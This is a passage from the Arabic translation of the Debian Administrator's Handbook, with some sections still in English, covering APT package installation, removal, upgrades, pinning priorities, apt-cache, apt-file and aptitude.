With APT, packages can be added or removed from the system, respectively with apt install package and apt remove package. In both cases, APT will automatically install the necessary dependencies or delete the packages which depend on the package that is being removed. The apt purge package command involves a complete uninstallation by deleting the configuration files as well.

تلميح تثبيت المجموعة نفسها من الحزم عدة مرات

قد يفيدك تثبيت قائمة الحزم نفسها عدة مرات آلياً على عدة حواسيب. يمكن عمل ذلك بسهولة كبيرة.

أولاً، احصل على قائمة الحزم المثبتة على الحاسوب الذي سيخدمنا ”كنموذج“ نريد نسخه.

$ dpkg --get-selections >pkg-list

سيحتوي الملف pkg-list بعدها على لائحة بالحزم المثبتة. ثم انقل الملف pkg-list إلى الحواسيب التي تريد تحديثها واستخدم الأوامر التالية:

## Update dpkg's database of known packages # avail=`mktemp` # apt-cache dumpavail > "$avail" # dpkg --merge-avail "$avail" # rm -f "$avail" ## Update dpkg's selections # dpkg --set-selections < pkg-list ## Ask apt-get to install the selected packages # apt-get dselect-upgrade

The first commands record the list of available packages in the dpkg database. Then dpkg --set-selections restores the selection of packages that you wish to install, and the apt-get invocation executes the required operations! aptitude does not have this command.

تلميح الإزالة والتثبيت في الوقت نفسه

من الممكن الطلب من apt (أو apt-get (أو aptitude) تثبيت حزم معينة وإزالة أخرى بالأمر نفسه بإضافة لاحقة. أضف ”-“ إلى أسماء الحزم التي تريد إزالتها مع الأمر apt install. أما مع الأمر apt remove، فأضف ”+“ إلى أسماء الحزم التي تريد تثبيتها.

يبين المثال التالي طريقتين مختلفتين لتثبيت package1 وإزالة package2.

# apt install package1 package2-

# apt remove package1+ package2

This can also be used to exclude packages which would otherwise be installed, for example, due to an automatic installation of Recommends. In general, the dependency solver will use that information as a hint to look for alternative solutions.

تلميح apt --reinstall وaptitude reinstall

أحياناً يتضرر النظام بعد إزالة أو تعديل الملفات في حزمة ما. أسهل طريقة لاستعادة هذه الملفات هي إعادة تثبيت الحزمة المتأثرة. لسوء الحظ، سيجد نظام التحزيم أن هذه الحزمة مثبتة فعلاً وسيرفض إعادة تثبيتها بأدب؛ ولتجاوز هذا الأمر، استخدم الخيار --reinstall مع الأمر apt أو الأمر apt-get. الأمر التالي يعيد تثبيت الحزمة postfix حتى لو كانت مثبتة مسبقاً:

# apt --reinstall install postfix

إن صيغة الأمر في aptitude مختلفة قليلاً، لكنها تؤدي الوظيفة ذاتها باستخدام aptitude reinstall postfix.

لا تظهر هذه المشكلة مع dpkg، لكن مدير النظام نادراً ما يستعمله مباشرة.

كن حذراً! إن استخدام apt --reinstall لاستعادة الحزم المُعدَّلة خلال هجوم أمني قطعاً لن يستعيد النظام كما كان. يفصّل قسم 14.7, “التعامل مع جهاز مُختَرَق” الخطوات الضرورية للتعامل مع نظام تم اختراقه.

These commands will not restore the configuration files. But as you have learned in قسم 5.2.3, “شفرات التحقق، لائحة ملفات الضبط” (see also sidebar التعمق أكثر إجبار dpkg على طرح أسئلة عن ملفات الإعداد), you can use the following command to be asked to install the unmodified version and even restore any deleted configuration file as well.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install package

Some packages don't ship the configuration file found in /etc with the package. Instead they create it during installation by either copying a skeleton or writing it by a script. The file /etc/inputrc, for example, is a copy of /usr/share/readline/inputrc. In such cases the commands shown above won't work.

If the file sources.list mentions several distributions, it is possible to give the version of the package to install. A specific version number can be requested with apt install package=version, but indicating its distribution of origin (Stable, Testing or Unstable) — with apt install package/distribution — is usually preferred. With this command, it is possible to go back to an older version of a package (if, for instance, you know that it works well), provided that it is still available in one of the sources referenced by the sources.list file. Otherwise the snapshot.debian.org archive can come to the rescue (see sidebar التعمق أكثر إصدارات الحزم القديمة: snapshot.debian.org).

مثال 6.4. Installation of the Unstable version of spamassassin

# apt install spamassassin/unstable

If the package to install has been made available to you under the form of a simple .deb file without any associated package repository, it is still possible to use APT to install it together with its dependencies (provided that the dependencies are available in the configured repositories) with a simple command: apt install ./path-to-the-package.deb. The leading ./ is important to make it clear that we are referring to a filename and not to the name of a package available in one of the repositories.

التعمق أكثر مخبأ ملفات .deb

APT keeps a copy of each downloaded .deb file in the directory /var/cache/apt/archives/. In case of frequent updates, this directory can quickly take a lot of disk space with several versions of each package; you should regularly sort through them. Two commands can be used: apt-get clean entirely empties the directory; apt-get autoclean only removes packages which can no longer be downloaded (because they have disappeared from the Debian mirror) and are therefore clearly useless (the configuration parameter APT::Clean-Installed can prevent the removal of .deb files that are currently installed).

6.2.3. تحديث النظام

يُنصَح بتحديث النظام بشكل منتظم، وذلك للحصول على آخر التحديثات الأمنية. استخدم الأمر apt upgrade أو apt-get upgrade أو الأمر aptitude safe-upgrade لتحديث النظام (بعد تنفيذ apt update طبعاً). يبحث هذا الأمر عن الحزم المثبتة التي يمكن تحديثها دون إزالة أي حزم من النظام. أي أن الغرض هو تحديث النظام بأقل تأثير ممكن. إن apt-get متشددة أكثر من aptitude وapt لأنها ترفض تثبيت الحزم التي لم تكن مثبتة من قبل.

ستختار apt الإصدار الأحدث عادة (فيما عدا حزم التوزيعة التجريبية Experimental وحزم stable-backports، التي يتم تجاهلها افتراضياً مهما كان رقم إصدارها). فإذا أضفتَ Testing أو Unstable إلى ملف sources.list، سوف يغير الأمر apt upgrade معظم توزيعتك المستقرة إلى اختبارية أو غير مستقرة، وقد لا يكون هذا مقصدك.

To tell apt to use a specific distribution when searching for upgraded packages, you need to use the -t or --target-release option, followed by the name of the distribution you want (for example, apt -t stable upgrade). To avoid specifying this option every time you use apt, you can add APT::Default-Release "stable"; in the file /etc/apt/apt.conf.d/local.

بالنسبة للتحديثات الأهم، مثل الانتقال من أحد إصدارات دبيان الرئيسية إلى التالي، عليك استخدام apt full-upgrade. عند تنفيذ هذه التعليمة، ستكمل apt التحديث حتى لو اضطرت لإزالة بعض الحزم الميتة أو تثبيت اعتماديات جديدة. هذا هو أيضاً الأمر الذي يستعمله مستخدمو إصدارة دبيان غير المستقرةويتابعون تطورها يوماً بيوم. هذه التعليمة أبسط من أن تحتاج لشرح: فهذه الوظيفة العظيمة هي أساس شهرة APT.

بعكس apt وaptitude، لا تملك apt-get الأمر full-upgrade. بل عليك استخدام الأمر التاريخي والشهير apt-get dist-upgrade (من العبارة ‏”distribution upgrade“ أي تحديث التوزيعة)، الذي تقبله apt وaptitude أيضاً لراحة المستخدمين الذي اعتادوا على استخدامه.

The results of these operations are logged into /var/log/apt/history.log and /var/log/apt/term.log, whereas dpkg keeps its log in a file called /var/log/dpkg.log.

6.2.4. خيارات الإعداد

Besides the configuration elements already mentioned, it is possible to configure certain aspects of APT by adding directives in a file of the /etc/apt/apt.conf.d/ directory or /etc/apt/apt.conf itself. Remember, for instance, that it is possible for APT to tell dpkg to ignore file conflict errors by specifying DPkg::options { "--force-overwrite"; }.

إذا لم يكن الوصول للوب ممكناً إلا من خلال بروكسي، أضف سطراً مثل Acquire::http::proxy "http://yourproxy:3128"‎. أما بالنسبة لبروكسيات FTP فاكتب Acquire::ftp::proxy "ftp://yourproxy"‎. لاكتشاف المزيد من خيارات الضبط، اقرأ صفحة الدليل apt.conf(5)‎ باستخدام الأمر man apt.conf (لمزيد من التفاصيل عن صفحات الدليل، انظر قسم 7.1.1, “صفحات الدليل”).

أساسيات المجلدات التي تنتهي باللاحقة .d

أصبح استخدام المجلدات ذات اللاحقة .d ينتشر أكثر وأكثر. يعبّر كل مجلد عن ملف إعداد مقسّم إلى عدة ملفات. هذا يعني أن جميع الملفات في مجلد /etc/apt/apt.conf.d/ هي تعليمات ضبط APT. تُضَمِّن APT هذه الملفات حسب الترتيب الأبجدي، بحيث أن الملفات الأخيرة تستطيع تعديل عناصر الضبط المعرّفة في الملفات الأولى.

تمنح هذه البنية بعض المرونة لمدير النظام ولمشرفي الحزم. حقاً، يمكن أن يعدل مدير النظام إعدادات البرنامج بإضافة ملف جاهز في المجلد المطلوب دون الاضطرار لتعديل ملف موجود مسبقاً. يستخدم مشرفو الحزم نفس الأسلوب عندما يحتاجون لمواءمة إعدادات برنامج آخر للتأكد من أنه ينسجم تماماً مع برامجهم. تحظر سياسة دبيان بشكل صريح تعديل ملفات ضبط الحزم الأخرى — ولا يُسمَح إلا للمستخدمين فقط بذلك. تذكر أنه خلال تحديث الحزمة، يجب على المستخدم أن يختار نسخة ملف الإعداد التي يجب الاحتفاظ بها عند اكتشاف حدوث تغيرات. أي تغيير خارجي على الملف سوف ينشط ذلك الطلب، وهو ما يزعج مدير النظام، خصوصاً أنه متأكد من أنه لم يغير شيئاً.

بدون مجلد .d، لا يمكن لحزمة خارجية تغيير إعدادات البرنامج إلا بتعديل ملف إعداداته. وبدلاً من تعديل الملف تلقائياً، عليها دعوة المستخدم لتعديله بنفسه وتسرد له العمليات التي يجب فعلها في الملف /usr/share/doc/package/README.Debian.

اعتماداً على البرنامج، إما أن يُستَخدم مجلد .d مباشرة أو يُدار بوساطة سكربت خارجي يدمج جميع الملفات لإنشاء ملف الإعداد نفسه. من المهم تشغيل السكربت بعد أي تغيير في ذلك المجلد حتى تُأخَذ التعديلات الأحدث بعين الاعتبار. من المهم أيضاً ألا تُجرى تعديلات على ملف الإعدادات الذي ينشئه السكربت تلقائياً، لأن كل شيء سيضيع عند التنفيذ التالي للسكربت. عادة ما يُفرَض استخدام إحدى الطريقتين (استخدام المجلد .d مباشرة أو استخدام ملف مولد من ذلك المجلد) نتيجة قيود ناجمة عن طريقة التطبيق (implementation)، لكن في كلا الحالتين يعوّض الكسب في مرونة الإعداد عن التعقيدات الصغيرة الناتجة. مخدّم البريد Exim 4 هو مثال عن طريقة الملف المولَّد: حيث يمكن إعداده من خلال عدة ملفات (/etc/exim4/conf.d/*) يجمعها الأمر update-exim4.conf في الملف /var/lib/exim4/config.autogenerated.

6.2.5. إدارة أولويات الحزم

إدارة الأولويات المرتبطة بكل مصدر للحزم هي إحدى أهم النواحي في إعدادات APT. مثلاً، قد ترغب بإضافة حزمة واحدة أو اثنتين من التوزيعة الاختبارية، أو غير المستقرة أو التجريبية إلى إحدى التوزيعات الأخرى. من الممكن تعيين أولويات للحزم المتوفرة (يمكن أن تملك الحزمة الواحدة أكثر من أولوية واحدة اعتماداً على إصدارها أو التوزيعة التي توفرها). ستؤثر هذه الأولويات في سلوك APT: ستختار دائماً نسخة الحزمة ذات الأولوية الأعلى (إلا إذا كانت هذه النسخة أقدم من النسخة المثبتة وكانت أولويتها أقل من 1000).

تُعرِّف APT عدة أولويات افتراضية. كل نسخة مثبتة من الحزمة لها أولوية تساوي 100. النسخة غير المثبتة لها أولوية تساوي 500 افتراضياً، لكن يمكنها أن تقفز إلى 990 إذا كانت تنتمي للتوزيعة المستهدفة (التي تُحدَّد بالخيار -t أو تعليمة الضبط APT::Default-Release).

You can modify the priorities by adding entries in a file in /etc/apt/preferences.d/ or the /etc/apt/preferences file with the names of the affected packages, their version, their origin and their new priority.

APT will never install an older version of a package (that is, a package whose version number is lower than the one of the currently installed package) except if its priority is higher than 1000 (or it is explicitely requested by the user, see قسم 6.2.2, “التثبيت والإزالة”). APT will always install the highest priority package which follows this constraint. If two packages have the same priority, APT installs the newest one (whose version number is the highest). If two packages of same version have the same priority but differ in their content, APT installs the version that is not installed (this rule has been created to cover the case of a package update without the increment of the revision number, which is usually required).

In more concrete terms, a package whose priority is

< 0

will never be installed,

1..99

will only be installed if no other version of the package is already installed,

100..499

will only be installed if there is no other newer version installed or available in another distribution,

500....989

will only be installed if there is no newer version installed or available in the target distribution,

990..1000

will be installed except if the installed version is newer,

> 1000

will always be installed, even if it forces APT to downgrade to an older version.

When APT checks /etc/apt/preferences and /etc/apt/preferences.d/, it first takes into account the most specific entries (often those specifying the concerned package), then the more generic ones (including, for example, all the packages of a distribution). If several generic entries exist, the first match is used. The available selection criteria include the package's name and the source providing it. Every package source is identified by the information contained in a Release file that APT downloads together with the Packages files. It specifies the origin (usually “Debian” for the packages of official mirrors, but it can also be a person's or an organization's name for third-party repositories). It also gives the name of the distribution (usually Stable, Testing, Unstable or Experimental for the standard distributions provided by Debian) together with its version (for example, 10 for Debian Buster). Let's have a look at its syntax through some realistic case studies of this mechanism.

حالة خاصة أولوية الحزم التجريبية

إذا أضفت التوزيعة التجريبية إلى ملف sources.list، فإن حزمها لن تثبت أبداً تقريباً لأن أولويتها الافتراضية هي 1. هذه حالة خاصة بالطبع، مصممة لحماية المستخدمين من تثبيت الحزم التجريبية بالخطأ. يمكن تثبيت هذه الحزم فقط بكتابة aptitude install package/experimental — لأن المستخدمين الذين سيكتبون هذا الأمر هم وحدهم الذين يدركون المخاطر التي يعرضون أنفسهم لها. من الممكن مع ذلك (رغم أن هذا غير مستحسن) معاملة حزم التوزيعة التجريبية مثل حزم التوزيعات الأخرى بإعطائها الأولوية 500. يتم هذا من خلال مدخلة خاصة في /etc/apt/preferences:

Package: * Pin: release a=experimental Pin-Priority: 500

لنفترض أنك تريد استعمال الحزم من النسخة المستقرة من دبيان فقط. وأن تلك الحزم المتوفرة في الإصدارات الأخرى يجب ألا تثبت إلا إذا طلبت صراحة. يمكن كتابة المدخلات التالية في ملف /etc/apt/preferences:

Package: * Pin: release a=stable Pin-Priority: 900 Package: * Pin: release o=Debian Pin-Priority: -10

يُعرِّف a=stable اسم التوزيعة المختارة. ويَقْصُر o=Debian المجال على الحزم ذات المنشأ ”Debian“.

Let's now assume that you have a server with several local programs depending on the version 5.24 of Perl and that you want to ensure that upgrades will not install another version of it. You could use this entry:

Package: perl Pin: version 5.24* Pin-Priority: 1001

To gain a better understanding of the mechanisms of priority and distribution or repository properties to pin do not hesitate to execute apt-cache policy to display the default priority associated with each package source, or apt-cache policy package to display the default priority for each available version and source of a package as explained in تلميح apt-cache policy.

The reference documentation for the files /etc/apt/preferences and /etc/apt/preferences.d/ is available in the manual page apt_preferences(5), which you can display with man apt_preferences.

تلميح التعليقات في الملف /etc/apt/preferences

لا توجد صيغة رسمية للتعليقات في ملف /etc/apt/preferences، لكن يمكن تقديم بعض الأوصاف النصية بوضع حقل”Explanation“ أو أكثر في بداية كل مدخلة:

Explanation: The package xserver-xorg-video-intel provided Explanation: in experimental can be used safely Package: xserver-xorg-video-intel Pin: release a=experimental Pin-Priority: 500

6.2.6. العمل مع عدة توزيعات

بما أن apt أداة رائعة فعلاً، فهي تغريك بالتقاط حزم من توزيعات أخرى. مثلاً، بعد تثبيت التوزيعة المستقرة، قد ترغب بتجربة حزمة برمجية متوفرة في التوزيعة الاختبارية أو غير المستقرة دون الانحراف بعيداً عن حالة النظام الأولية.

حتى لو كنت ستواجه أحياناً مشاكل نتيجة خلط الحزم من توزيعات مختلفة، يدير apt مثل هذه الحالات بشكل جيد جداً وتقلل المخاطر بصورة فعالة. أفضل طريقة للمتابعة تكون بإضافة جميع التوزيعات المستخدمة في /etc/apt/sources.list (بعض الناس يضعون التوزيعات الثلاثة دائماً، لكن تذكر أن التوزيعة غير المستقرة محجوزة للمستخدمين المخضرمين) و تعريف توزيعتك المرجعية بالمتغير APT::Default-Release (انظر قسم 6.2.3, “تحديث النظام”).

دعنا نفرض أن المستقرة هي توزيعتك المرجعية لكن الاختبارية وغير المستقرة موجودتان في ملف sources.list الخاص بك أيضاً. في هذه الحالة، يمكنك استخدام apt install package/testing لتثبيت حزمة من الاختبارية. إذا فشل التثبيت نتيجة اعتماديات لا يمكن تلبيتها، دع apt-get تحل هذه الاعتماديات ضمن التوزيعة الاختبارية بإضافة المتغير -t testing. من الواضح أن الشيء نفسه ينطبق على غير المستقرة.

في هذه الحالة، التحديثات (upgrade و full-upgrade) تتم ضمن التوزيعة المستقرة ما عدا الحزم التي حُدِّثت مسبقاً إلى توزيعة أخرى: هذه الحزم ستتبع التحديثات المتوفرة في التوزيعات الأخرى. سنشرح هذا السلوك بمساعدة الأولويات الافتراضية التي تضبطها APT أدناه. لا تتردد باستخدام apt-cache policy (انظر الملاحظة الجانبية تلميح apt-cache policy) للتحقق من الأولويات المعطاة.

يدور كل شيء حول حقيقة أن APT تنظر إلى الحزم ذات الأولويات الأعلى أو المساوية لأولويات الحزم المثبتة (بفرض أن /etc/apt/preferences لم يُستخدم لفرض أولويات أعلى من 1000 لبعض الحزم).

دعنا نفترض أنك تملك الإصدارة 1 مثبتة من حزمة أولى من التوزيعة المستقرة وأن الإصدارتين 2 و 3 متوفرتان على الترتيب في الاختبارية وغير المستقرة. للإصدارة المثبتة أولوية قدرها 100 لكن النسخة المتوفرة في المستقرة (الإصدارة نفسها) لها أولوية تساوي 990 (لأنها تنتمي للتوزيعة الهدف). تملك الحزم في الاختبارية وغير المستقرة أولوية قدرها 500 (الأولوية الافتراضية للإصدارات غير المثبتة). الرابح إذا هو الإصدار 1 صاحب الأولوية 990. إذاً ”تبقى الحزمة في التوزيعة المستقرة“.

Let's take the example of another package whose version 2 has been installed from Testing. Version 1 is available in Stable and version 3 in Unstable. Version 1 (of priority 990 — thus lower than 1000) is discarded because it is lower than the installed version. This only leaves version 2 and 3, both of priority 500. Faced with this alternative, APT selects the newest version, the one from Unstable. If you don't want a package installed from Testing to migrate to Unstable, you have to assign a priority lower than 500 (490 for example) to packages coming from Unstable. You can modify /etc/apt/preferences to this effect:

Package: * Pin: release a=unstable Pin-Priority: 490

6.2.7. متابعة الحزم المثبتة آلياً

One of the essential functionalities of apt is the tracking of packages installed only through dependencies. These packages are called “automatic”, and often include libraries.

With this information, when packages are removed, the package managers can compute a list of automatic packages that are no longer needed (because there is no “manually installed” packages depending on them). apt-get autoremove or apt autoremove will get rid of those packages. aptitude does not have this command because it removes them automatically as soon as they are identified. In all cases, the tools display a clear message listing the affected packages.

من الجيد تعليم أي حزمة لا تحتاجها بشكل مباشر على أنها آلية حتى تزال آلياً عندما لا تبقى لها ضرورة. سوف يضع الأمر apt-mark auto package علامة حزمة آلية على الحزمة المحددة، بينما الأمر apt-mark manual package يفعل العكس. يعمل الأمران aptitude markauto و aptitude unmarkauto بنفس الأسلوب، إلا أن لهما ميزات إضافية لتعليم عدة حزم دفعة واحدة (انظر قسم 6.5.1, “‏aptitude”). كما أن الواجهة التفاعلية التي تقدمها aptitude في الطرفية تُسهِّل مراجعة ”الأعلام الآلية automatic flag“ على أعداد كبيرة من الحزم.

قد يرغب بعض الأشخاص بمعرفة سبب وجود حزمة آلية مثبتة على النظام. للحصول على هذه المعلومات من سطر الأوامر، يمكنك استخدام aptitude why package (لا تملك apt ولا apt-get ميزة مشابهة):

$ aptitude why python-debian i aptitude Suggests apt-xapian-index p apt-xapian-index Depends python-debian (>= 0.1.14)

بدائل deborphan وdebfoster

In days where apt, apt-get and aptitude were not able to track automatic packages, there were two utilities producing lists of unnecessary packages: deborphan and debfoster. Both can still be useful.

deborphan scans the libs and oldlibs sections (in the absence of supplementary instructions) by default looking for the packages that are currently installed and that no other package depends on. The resulting list can then serve as a basis to remove unneeded packages.

يتميز debfoster بطريقة أكثر تطوراً، وقريبة جداً من أسلوب APT: فهو يحتفظ بلائحة بالحزم التي تم تثبيتها بشكل مقصود، ويتذكر الحزم التي اللازمة فعلاً بين كل استدعائين. إذا ظهرت حزم جديدة على النظام ولم يعرف debfoster الأسباب التي تدعو لوجود تلك الحزم، سوف يظهرها على الشاشة مع اعتمادياتها. بعدها يقدم البرنامج لك عدة خيارات: إزالة الحزمة (مع الحزم التي تعتمد عليها أيضاً إذا أردت)، تعليم الحزمة على أنها حزمة مطلوبة صراحة، أو تجاهلها مؤقتاً.

6.3. الأمر apt-cache

يعرض الأمر apt-cache الكثير من المعلومات المخزنة في قاعدة بيانات APT الداخلية. هذه المعلومات هي نوع من الكاش أو الذاكرة المخبئية لأنها تُجمَع من مصادر مختلفة موجودة في الملف sources.list. يحدث هذا خلال عملية apt update.

مصطلحات المخبأ (Cache)

الكاش أو المخبأ (أو الذاكرة المخبئية) هو نظام تخزين مؤقت يُستَخدم لتسريع الوصول المتكرر للبيانات عندما تكون عملية الوصول المباشرة مكلفة (من ناحية الأداء). يمكن تطبيق هذا المفهوم في حالات عديدة وعلى مستويات مختلفة، من نوى المعالجات المصغرة إلى نظم التخزين المتطورة.

في حالة APT، ملفات Packages المرجعية هي ملفات Packages الموجودة على مرايا دبيان. ومع ذلك، سوف يكون الذهاب إلى الشبكة لكل عملية بحث قد نرغب بإجرائها في قاعدة بيانات الحزم المتوفرة غير فعال على الإطلاق. لهذا تخزّن APT نسخة من هذه الملفات (في /var/lib/apt/lists/) ويتم البحث ضمن هذه الملفات المحلية. أيضاً، يحتوي /var/cache/apt/archives/ على نسخة كاش من الحزم التي تم تنزيلها لتفادي تنزيلها ثانية إذا احتجت لإعادة تثبيتها بعد إزالتها.

On the other hand, it is mandatory to run apt update regularly to update the cache. Otherwise your package search results will always miss the latest updates distributed by the Debian mirrors.

يمكن أن يبحث الأمر apt-cache اعتماداً على كلمات مفتاحية وذلك باستخدام apt-cache search keyword. يستطيع هذا الأمر أيضاً عرض ترويسات النسخ المتوفرة من الحزمة باستخدام apt-cache show package. يقدّم هذا الأمر وصف الحزمة، اعتمادياتها، اسم المشرف، الخ. لاحظ أن apt search وapt show وaptitude search وaptitude show تعمل بالأسلوب نفسه.

بدائل axi-cache

الأداة apt-cache search بدائية جداً، تعتمد أساساً على تطبيق grep على أوصاف الحزم. غالباً ما تعيد هذه الأداة عدداً كبيراً من النتائج أو لا تعيد أي نتيجة عندما تضع الكثير من الكلمات المفتاحية.

axi-cache search term, on the other hand, provides better results, sorted by relevancy. It uses the Xapian search engine and is part of the apt-xapian-index package which indexes all package information (and more, like the .desktop files from all Debian packages). It knows about tags (see sidebar التعمق أكثر حقل Tag) and returns results in a matter of milliseconds.

$ axi-cache search package use::searching 100 results found. Results 1-20: 100% packagesearch - GUI for searching packages and viewing package information 99% apt-utils - package management related utility programs 98% whohas - query multiple distributions' package archives 98% dpkg-awk - Gawk script to parse /var/lib/dpkg/{status,available} and Packages 97% apt-file - search for files within Debian packages (command-line interface) [..] 90% wajig - unified package management front-end for Debian More terms: debtags debian paket dpkg search pakete tools More tags: role::program interface::commandline works-with::software:package suite::debian admin::package-management scope::utility network::client `axi-cache more' will give more results

توجد مزايا نادراً ما تستخدم. مثلاً، يعرض apt-cache policy أولويات مصادر الحزم بالإضافة إلى أولويات الحزم المفردة. من الأمثلة الأخرى apt-cache dumpavail الذي يعرض ترويسات جميع النسخ المتوفرة لجميع الحزم. يعرض apt-cache pkgnames قائمة بجميع الحزم التي تظهر في الكاش مرة واحدة على الأقل.

تلميح apt-cache policy

The apt-cache policy command displays the pinning priorities and distribution properties of each package source as explained in قسم 6.2.5, “إدارة أولويات الحزم”. It can also show the pinning priorities for all available versions and sources of a package. For the sources.list example used in مثال 6.2, “ملف /etc/apt/sources.list لمستخدمي دبيان المستقرة” and APT::Default-Release set to "buster", the output will look like this:

$ apt-cache policy Package files: 100 /var/lib/dpkg/status release a=now 100 https://deb.debian.org/debian buster-backports/contrib amd64 Packages release o=Debian Backports,a=buster-backports,n=buster-backports,l=Debian Backports,c=contrib,b=amd64 origin deb.debian.org 100 https://deb.debian.org/debian buster-backports/main amd64 Packages release o=Debian Backports,a=buster-backports,n=buster-backports,l=Debian Backports,c=main,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian buster/non-free amd64 Packages release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=non-free,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian buster/contrib amd64 Packages release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=contrib,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian buster/main amd64 Packages release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=main,b=amd64 origin deb.debian.org 990 http://security.debian.org buster/updates/main amd64 Packages release v=10,o=Debian,a=stable,n=buster,l=Debian-Security,c=main,b=amd64 origin security.debian.org

apt-cache policy can also show the pinning priorities for all available versions and sources of a given package.

$ apt-cache policy iptables iptables: Installed: 1.8.2-4 Candidate: 1.8.2-4 Version table: 1.8.3-2~bpo10+1 100 100 https://deb.debian.org/debian buster-backports/main amd64 Packages *** 1.8.2-4 990 990 https://deb.debian.org/debian buster/main amd64 Packages 100 /var/lib/dpkg/status

Although there is a newer version of iptables in the buster-backports repository, APT will not install it automatically based on the priority. One would have to use apt install iptables/buster-backports or add a higher pinning priority to /etc/apt/preferences.d/iptables:

Package: iptables Pin: release o=Debian Backports, a=buster-backports Pin-Priority: 1001

6.4. The apt-file Command

Sometimes we refer to a file or a command and you might wonder, in which package it will be found. Fortunately the Debian repositories not only contain information about all the binary packages provided, but also all the files shipped with them. This information is stored in files named Contents-arch.gz and Contents-udeb-arch.gz. This information is not automatically downloaded by APT. Instead it needs the apt-file update command (from the similar named package) to retrieve the contents of all package sources mentioned in /etc/apt/sources.list. To update the database on a weekly base, the following entry can be added to /etc/crontab if convenient.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

After the database has been updated, the command apt-file search pattern will list all packages, which contain a filename or path containing the pattern.

$ apt-file search bin/axi-cache apt-xapian-index: /usr/bin/axi-cache

The command apt-file list package will list all files shipped with the package instead.

TIP Listing a package contents and finding a file's package

Similar to apt-file list the command dpkg -L package lists all files, but only for an installed package. To find the package, a local file belongs to, use dpkg -S file (see قسم 5.4.3, “الاستعلام في قاعدة بيانات dpkg وفحص ملفات ‎.deb”). To list all local files not belonging to any installed package, you might want to take a look at the cruft or the cruft-ng package.

6.5. واجهات APT: ‏aptitude، ‏synaptic

APT is a C++ program whose code mainly resides in the libapt-pkg shared library. Using a shared library facilitates the creation of user interfaces (front-ends), since the code contained in the library can easily be reused. Historically, apt-get was only designed as a test front-end for libapt-pkg but its success tends to obscure this fact.

6.5.1. ‏aptitude

aptitude is an interactive program that can be used in semi-graphical mode on the console. You can browse the list of installed and available packages, look up all the available information, and select packages to install or remove. The program is designed specifically to be used by administrators, so that its default behaviors are designed to be much more intelligent than apt-get's, and its interface much easier to understand.

شكل 6.1. مدير الحزم aptitude

When it starts, aptitude shows a list of packages sorted by state (installed, non-installed, or installed but not available on the mirrors — other sections display tasks, virtual packages, and new packages that appeared recently on mirrors). To facilitate thematic browsing, other views are available. In all cases, aptitude displays a list combining categories and packages on the screen. Categories are organized through a tree structure, whose branches can respectively be unfolded or closed with the Enter, [ and ] keys. + should be used to mark a package for installation, - to mark it for removal and _ to purge it (note that these keys can also be used for categories, in which case the corresponding actions will be applied to all the packages of the category). u updates the lists of available packages and Shift+u prepares a global system upgrade. g switches to a summary view of the requested changes (and typing g again will apply the changes), and q quits the current view. If you are in the initial view, this will effectively close aptitude.

توثيق aptitude

This section does not cover the finer details of using aptitude. It rather focuses on giving you a survival kit to use it. But it is well documented and we advise you to use its complete manual available in the aptitude-doc-en package (see /usr/share/doc/aptitude/html/en/index.html) or at https://www.debian.org/doc/manuals/aptitude/.

للبحث عن حزمة، يمكنك كتابة / متبوعاً بنموذج بحث ما. يطابق هذا النموذج اسم الحزمة، لكن يمكن تطبيقه على وصفها أيضاً (إذا سُبِق بـ ~d)، أو على قسمها (مع ~s) أو على الخصائص الأخرى المذكورة في الوثائق. كما يمكن أن ترشح هذه النماذج نفسها قائمة الحزم المعروضة: اضغط المفتاح l (أول حرف من limit) وأدخل النموذج.

تُسهِّل aptitude إدارة ”الأعلام الآلية automatic flags“ (انظر قسم 6.2.7, “متابعة الحزم المثبتة آلياً”) كثيراً. يمكن تصفح قائمة الحزم المثبتة وتعليم الحزم على أنها آلية باستخدام Shift+m أو إزالة العلامة بالمفتاح m. يعرض الحرف ”A“ في قائمة الحزم بجوار ”الحزم الآلية“. تقدم هذه الميزة أيضاً وسيلة لعرض الحزم المثبتة ”فعلياً“ على النظام، دون عرض المكتبات والاعتماديات التي لا تهمنا. نموذج البحث الذي يمكن استخدامه مع l (لتفعيل وضع الفلترة) هو ~i!~M. يحدد هذا النموذج أنك تريد عرض الحزم المثبتة (~i) غير الآلية (!~M).

أدوات استخدام aptitude من الواجهة النصية

يمكن الوصول لمعظم مزايا aptitude من الواجهة التفاعلية كما يمكن من خلال الأوامر النصية. ستبدو هذه الأوامر مألوفة لمستخدمي apt-get وapt-cache.

تتوفر مزايا aptitude المتقدمة أيضاً من سطر الأوامر. يمكنك استخدام نفس نماذج البحث عن الحزم التي تستخدم في الواجهة التفاعلية. مثلاً، إذا أردت تنظيف مجموعة الحزم ”المثبتة يدوياً“، وكنت تعرف أن جميع البرامج المثبتة محلياً لا تتطلب أي مكتبة معينة أو وحدة بيرل، يمكنك تعليم الحزم المذكورة على أنها آلية بأمر واحد:

# aptitude markauto '~slibs|~sperl'

يمكنك هنا رؤية قوة نظام نماذج البحث في aptitude بوضوح، الذي يسمح بالتحديد المباشر لجميع الحزم في القسمين libs وperl.

كن حذراً، إذا حُدِّدت بعض الحزم على أنها آلية ولم تعتمد عليها أي حزم أخرى، فسوف تزال فوراً (بعد طلب التأكيد).

6.5.1.1. إدارة التوصيات، والاقتراحات والمهام

Another interesting feature of aptitude is the fact that it respects recommendations between packages while still giving users the choice not to install them on a case by case basis. For example, the gnome package recommends transmission-gtk (among others). When you select the former for installation, the latter will also be selected (and marked as automatic if not already installed on the system). Typing g will make it obvious: transmission-gtk appears on the summary screen of pending actions in the list of packages installed automatically to satisfy dependencies. However, you can decide not to install it by deselecting it before confirming the operations.

لاحظ أن ميزة تتبع التوصيات هذه لا تطبّق على التحديثات. مثلاً، إذا قَدَّمَتْ نسخةٌ جديدة من gnome توصيةً بحزمة لم توصِ بها سابقاً، لن تُحدَّد الحزمة الجديدة للتثبيت. ومع ذلك، فسوف تُسرَد في شاشة التحديث بحيث يمكن لمدير النظام اختيارها للتثبيت.

